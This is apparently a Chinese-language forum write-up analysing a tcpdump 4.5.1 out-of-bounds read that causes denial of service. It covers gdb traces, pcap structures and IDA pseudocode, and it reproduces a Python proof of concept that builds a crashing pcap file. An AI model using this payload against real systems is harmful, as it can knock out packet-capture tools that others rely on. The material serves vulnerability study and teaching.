转载请注明出处
*20200911update:本篇分析文章为笔者入门初期分析,分析有错误的地方请见谅,差异对比请参考文章:https://bbs.pediy.com/thread-261984.htm *
漏洞说明
软件下载:
https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
PoC:
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
测试环境:
kali 2.0 x86
调试软件:
gdb with peda
漏洞复现
这是一个很有意思的漏洞,tcpdump在处理特殊的pcap包的时候,由于对于数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生,对于这个漏洞,需要首先对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对此漏洞进行详细分析。
首先通过gdb运行tcpdump,利用PoC生成存在问题的pcap包,用-r参数打开,tcpdump崩溃,到达漏洞触发位置。
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5
EBX: 0x800f2d18 --> 0xf2c10
ECX: 0xbfffdfaf --> 0x30303000 ('')
EDX: 0xbfffdfc9 ("......")
ESI: 0x107bd
EDI: 0x801c1085 --> 0xff000000
EBP: 0x0
ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
EIP: 0x8001e612 (movzx edi,BYTE PTR [edi+esi*2+0x1])
EFLAGS: 0x210296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8001e607: mov DWORD PTR [esp+0xc],edx
0x8001e60b: sub esp,0x4
0x8001e60e: movzx ebp,BYTE PTR [edi+esi*2]
=> 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1]
0x8001e617: mov eax,ebp
0x8001e619: mov edx,edi
0x8001e61b: mov BYTE PTR [esp+0x16],al
0x8001e61f: mov BYTE PTR [esp+0x17],dl
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
0004| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f
0008| 0xbfffdf64 --> 0x5
0012| 0xbfffdf68 --> 0xbfffdfaa (" 0000")
0016| 0xbfffdf6c --> 0xbfffdfc9 ("......")
0020| 0xbfffdf70 --> 0xb058
0024| 0xbfffdf74 --> 0xbfffdf96 (" 0000 0000 0000 0000 0000")
0028| 0xbfffdf78 --> 0x7ffffff9
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x8001e612 in ?? ()
此时指针位置读取了edi+esi*2+1的内容,这个内容引用的是无效地址指针,可见可能是越界读取造成的这个原因,稍后会进行分析,通过bt回溯一下调用情况。
gdb-peda$ bt
#0 0x8001e612 in ?? ()
#1 0x8001e7da in ?? ()
#2 0x80013677 in ?? ()
#3 0x8001ab11 in ?? ()
#4 0x80013f65 in ?? ()
#5 0xb7dc6a18 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6 0xb7db79c3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#7 0x80012621 in main ()
#8 0xb7c19a63 in __libc_start_main (main=0x800112a0 <main>, argc=0x3,
argv=0xbffff4e4, init=0x80089310, fini=0x80089380,
rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff4dc) at libc-start.c:287
#9 0x80013461 in ?? ()
可见从main函数开始进行了连续的函数调用,这里把执行结果贴一下,由于中间读取量很大,因此只留开头和结尾部分,中间内容跳过,tcpdump读取的内容。
gdb-peda$ run -r crash
Starting program: /usr/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
05:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000: 0000 00ff ffff ff00 0000 0000 0000 0000 ................
0x0010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0020: 0000 0000 0000 0000 0000 0000 0000 00a0 ................
0x0030: 5ada b700 0000 0011 0000 00c8 1b1c 80f8 Z...............
0x0040: 191c 8000 0000 0039 0000 0060 111c 8000 .......9...`....
0x0050: 0000 0000 0000 0001 0000 0001 0000 0001 ................
0x0060: 0000 0000 0000 0000 0000 006d 646e 7334 ...........mdns4
0x20ed0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20ee0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20ef0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f10: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f20: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f30: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f40: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x20f50: 0000 0000 0000 0000 0000 0000 0000 0000 ................
漏洞分析
首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};
看一下各字段的含义:
magic: 4字节 pcap文件标识 目前为“d4 c3 b2 a1”
major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2
minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4
thiszone:4字节 时区修正 并未使用,目前全为0
sigfigs: 4字节 精确时间戳 并未使用,目前全为0
snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535),
tcpdump -s 0就是设置这个参数,缺省为68字节
linktype:4字节 链路类型 一般都是1:ethernet
这个位置不重要,接下来看数据包部分。
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
struct timeval {
long tv_sec; /* seconds (XXX should be time_t) */
suseconds_t tv_usec; /* and microseconds */
};
ts: 8字节 抓包时间 4字节表示秒数,4字节表示微秒数
caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节)
len: 4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大
其中len变量是值得关注的,因为在crash文件中,对应len变量的值为
00 3C 9C 37
这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。
接下来,从main函数开始跟进这个漏洞的触发过程。
gdb-peda$ run -r crash
Starting program: /usr/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x800f2d18 --> 0xf2c10
ECX: 0x12
EDX: 0x801c1070 --> 0x600ff40
ESI: 0x801bf440 --> 0x0
EDI: 0xfffffff3
EBP: 0x0
ESP: 0xbfffe160 --> 0x801bf440 --> 0x0
EIP: 0x8001ab0b (call DWORD PTR [esi+0xc4])
EFLAGS: 0x200296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8001ab05: push edi
0x8001ab06: push DWORD PTR [esp+0x14]
0x8001ab0a: push esi
=> 0x8001ab0b: call DWORD PTR [esi+0xc4]
0x8001ab11: add esp,0x10
0x8001ab14: mov eax,DWORD PTR [esp+0x10]
0x8001ab18: add esp,0x2c
0x8001ab1b: pop ebx
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbfffe160 --> 0x801bf440 --> 0x0
0004| 0xbfffe164 --> 0x801c1085 --> 0xff000000
0008| 0xbfffe168 --> 0xfffffff3
0012| 0xbfffe16c --> 0x1
0016| 0xbfffe170 --> 0xbfffe1d0 --> 0xbfffe21c --> 0x8000
0020| 0xbfffe174 --> 0xb7fecc9f (<_dl_fixup+223>: sub esp,0x14)
0024| 0xbfffe178 --> 0xb7fdbd08 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
0028| 0xbfffe17c --> 0x801c1085 --> 0xff000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x8001ab0b in ?? ()
首先会跟踪到一处call调用,这个call调用处于函数sub_1A950中
unsigned int __cdecl sub_1A950(int a1, int a2, int a3)
{
……
LABEL_20:
v3 -= 3;
v29 = *(_BYTE *)(a3 + 2);
v24 = a3 + 3;
(*(void (__cdecl **)(int, const char *, char *))(a1 + 204))(
a1,
"IEEE 802.15.4 %s packet ",
off_E4040[*(_BYTE *)a3 & 7]);
v10 = a3;
if ( !*(_DWORD *)(a1 + 56) )
{
……
LABEL_23:
result = 0;
if ( !*(_DWORD *)(a1 + 132) )
{
(*(void (__cdecl **)(int, int, int))(a1 + 196))(a1, v24, v11);//key word
result = 0;
}
return result;
}
这个函数会打印注入IEEE 802.15.4这类内容,观察之前触发崩溃的打印内容,就是在输出数据包内容前的内容,可见这里会对数据包中传输的数据类型进行一些判断,之后打印,随后会到达我标记为key word的位置,这个地方会动态调用函数。
函数内容就是我之前跟踪到的call内容,直接跟进去,观察内层逻辑。
int __cdecl sub_13650(int a1, int a2, unsigned int a3)
{
return sub_1E7C0(a1, (int)"\n\t", a2, a3);
}
内层函数中,会增加一个参数,然后直接调用sub_1E7C0,这个函数至关重要。跟入这个函数连续跟踪,会发现进入一处循环。
Breakpoint 1, 0x8001e5f9 in ?? ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0x800f2d18 --> 0xf2c10
ECX: 0xbfffdfb9 --> 0xd0bfff00
EDX: 0xbfffdfcd --> 0x801bee
ESI: 0x7
EDI: 0xffffffdf
EBP: 0xffffffdf
ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f
EIP: 0x8001e5f9 (cmp esi,DWORD PTR [esp+0x18])
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8001e5f0: add ecx,0x5
0x8001e5f3: add edx,0x2
0x8001e5f6: add esi,0x1
=> 0x8001e5f9: cmp esi,DWORD PTR [esp+0x18]
0x8001e5fd: je 0x8001e6e0
0x8001e603: mov edi,DWORD PTR [esp+0x1c]
0x8001e607: mov DWORD PTR [esp+0xc],edx
0x8001e60b: sub esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f
0004| 0xbfffdf64 --> 0x7
0008| 0xbfffdf68 --> 0xbfffdfb4 (" 0000")
0012| 0xbfffdf6c --> 0xbfffdfcb --> 0x1bee2e2e
0016| 0xbfffdf70 --> 0xb058
0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000")
0024| 0xbfffdf78 --> 0x7ffffff9
0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x8001e5f9 in ?? ()
gdb-peda$ c
Continuing.
05:06:08.000000 IEEE 802.15.4 Beacon packet
[----------------------------------registers-----------------------------------]
EAX: 0x44 ('D')
EBX: 0x800f2d18 --> 0xf2c10
ECX: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
EDX: 0xbfffdfbf ('.' <repeats 16 times>)
ESI: 0x8
EDI: 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
EBP: 0xbfffdfbf ('.' <repeats 16 times>)
ESP: 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f
EIP: 0x8001e5f9 (cmp esi,DWORD PTR [esp+0x18])
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8001e5f0: add ecx,0x5
0x8001e5f3: add edx,0x2
0x8001e5f6: add esi,0x1
=> 0x8001e5f9: cmp esi,DWORD PTR [esp+0x18]
0x8001e5fd: je 0x8001e6e0
0x8001e603: mov edi,DWORD PTR [esp+0x1c]
0x8001e607: mov DWORD PTR [esp+0xc],edx
0x8001e60b: sub esp,0x4
[------------------------------------stack-------------------------------------]
0000| 0xbfffdf60 --> 0xbfffe020 --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 --> 0x464c457f
0004| 0xbfffdf64 --> 0x0
0008| 0xbfffdf68 --> 0xbfffdfb9 (" 0000")
0012| 0xbfffdf6c --> 0xbfffdfcd --> 0x2e2e ('..')
0016| 0xbfffdf70 --> 0xb058
0020| 0xbfffdf74 --> 0xbfffdf96 (" 0000 00ff ffff ff00 0000 0000 0000 0000")
0024| 0xbfffdf78 --> 0x7ffffff9
0028| 0xbfffdf7c --> 0x801c1085 --> 0xff000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x8001e5f9 in ?? ()
可以看到,在连续跟踪的这个过程中,esi寄存器的值会不断加1,而随后会连续读取两个字节的内容,其实也就是之前提到的edi+esi*2+1。
那么实际上观察一下edi的值,其实edi的值就是从数据包中读取内容到内存空间的起始地址,esi相当于一个计数器,来看一下IDA的伪代码逻辑。
int __cdecl sub_1E570(int a1, int a2, int a3, unsigned int a4, int a5)
{
int v5; // esi@1
char *v6; // edx@1
int v7; // ecx@1
int v8; // edi@5
char v9; // al@5
char v10; // al@7
char *v11; // edi@11
int result; // eax@14
char v13; // bp@16
char *v14; // ST2C_4@16
int v15; // ST28_4@16
char v16; // si@16
unsigned int v17; // [sp+0h] [bp-1A8h]@1
int v18; // [sp+4h] [bp-1A4h]@5
char *v19; // [sp+8h] [bp-1A0h]@5
char v20; // [sp+Eh] [bp-19Ah]@5
char v21; // [sp+Fh] [bp-199h]@5
char v22[41]; // [sp+32h] [bp-176h]@1
char v23; // [sp+5Bh] [bp-14Dh]@1
int v24; // [sp+188h] [bp-20h]@1
v5 = 0;
v17 = 0;
v24 = *MK_FP(__GS__, 20);
v6 = &v23;
v7 = (int)v22;
while ( v5 != a4 >> 1 )
{
v19 = v6;
v8 = *(_BYTE *)(a3 + 2 * v5 + 1);
v20 = *(_BYTE *)(a3 + 2 * v5);
v21 = *(_BYTE *)(a3 + 2 * v5 + 1);//key word
v18 = v7;
__snprintf_chk(v7, &v22[-v7 + 41], 1, 41, " %02x%02x", (unsigned __int8)v20);
v9 = 46;
if ( (unsigned int)(unsigned __int8)v20 - 33 <= 0x5D )
v9 = v20;
*v19 = v9;
v10 = 46;
if ( (unsigned int)(v8 - 33) <= 0x5D )
v10 = v21;
++v17;
v19[1] = v10;
if ( v17 <= 7 )
这里提取了部分内容,重要的内容要看一下v20和v21变量,这个就是连续读取edi+esi*2+1的内容,而a3就是读取的数据包内容,v5初始值为0,是计数器,随后会通过snprintf连续读取两个值进行打印,while循环就是判断到达包长的最大值。
这个包长就是通过之前分析到的len获得,但是仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。
通过查看edi的值来看一下这个内存到底开辟到什么位置。
gdb-peda$ x/10000000x 0x801c1085
0x801e1fe5: 0x00000000 0x00000000 0x00000000 0x00000000
0x801e1ff5: 0x00000000 0x00000000 Cannot access memory at address 0x801e2000
可以看到,到达801e2000附近的时候,就是无法读取的无效地址了,那么初始值为801c1085,用两个值相减。
801e1ff5+8+8-801c1085 = 20f80
因为一次读取两个字节,那么循环计数器就要除以2,最后结果为107b8,来看一下到达拒绝服务位置读取的长度。
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5
EBX: 0x800f2d18 --> 0xf2c10
ECX: 0xbfffdfaf --> 0x30303000 ('')
EDX: 0xbfffdfc9 ("......")
ESI: 0x107bd
EDI: 0x801c1085 --> 0xff000000
EBP: 0x0
ESP: 0xbfffdf5c --> 0x801c2148 --> 0xb7fffa8c --> 0xb7daa604 --> 0xb7fff930 --> 0x80000000 (--> ...)
EIP: 0x8001e612 (movzx edi,BYTE PTR [edi+esi*2+0x1])
107bd,正是不可读取内存空间的地址,因此造成拒绝服务,总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。
大佬,tcpdump下载下来是一个c文件集合,怎么编译呢?谢谢
@菜鸡中的战斗鸡 gcc
@@菜鸡中的战斗鸡 不好意思,看错了,你看下有没有makefile,直接make && make install